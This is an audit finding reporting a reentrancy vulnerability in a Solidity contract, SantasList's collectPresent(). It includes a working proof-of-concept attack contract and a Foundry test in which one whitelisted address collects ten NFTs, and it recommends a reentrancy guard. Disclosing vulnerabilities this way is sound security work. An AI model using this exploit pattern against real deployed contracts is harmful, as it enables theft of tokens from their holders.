Summary
Attacker can reentrancy attack SantasList#collectPresent()
to collect more than 1 NFT token with only 1 address being whitelisted by Santa.
Vulnerability Details
There is no reentrant guard in SantasList#collectPresent()
. Hence, attacker can reenter this function through IERC721Receiver.onERC721Received()
. Attacker somehow get his attack contract address being whitelisted by Santa, then he can reentrant attack SantasList#collectPresent()
Below is the PoC attack contract to collect 10 NFT with 1 address being whitelisted by Santa.
pragma solidity ^0.8.21;
import "./SantasList.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract AttackSantasList is IERC721Receiver {
address public attacker;
SantasList santasList;
constructor(address _santasListAddress) {
santasList = SantasList(_santasListAddress);
attacker = msg.sender;
}
function attack() external {
santasList.setApprovalForAll(attacker, true);
santasList.collectPresent();
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4) {
if (tokenId < 10) {
santasList.transferFrom(operator, 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e, tokenId);
santasList.collectPresent();
}
return IERC721Receiver.onERC721Received.selector;
}
}
function testReentrantCollectPresent() public {
vm.startPrank(santa);
santasList.checkList(address(attackContract), SantasList.Status.NICE);
santasList.checkTwice(address(attackContract), SantasList.Status.NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.startPrank(attacker);
attackContract.attack();
assertEq(santasList.balanceOf(attacker), 10);
vm.stopPrank();
}
Impact
Attacker can drain the SantasList
NFT collection if his attack contract being whitelisted by Santa.
Tools Used
Manual review.
Recommendations
Add reentrant guard to SantasList#collectPresent()
.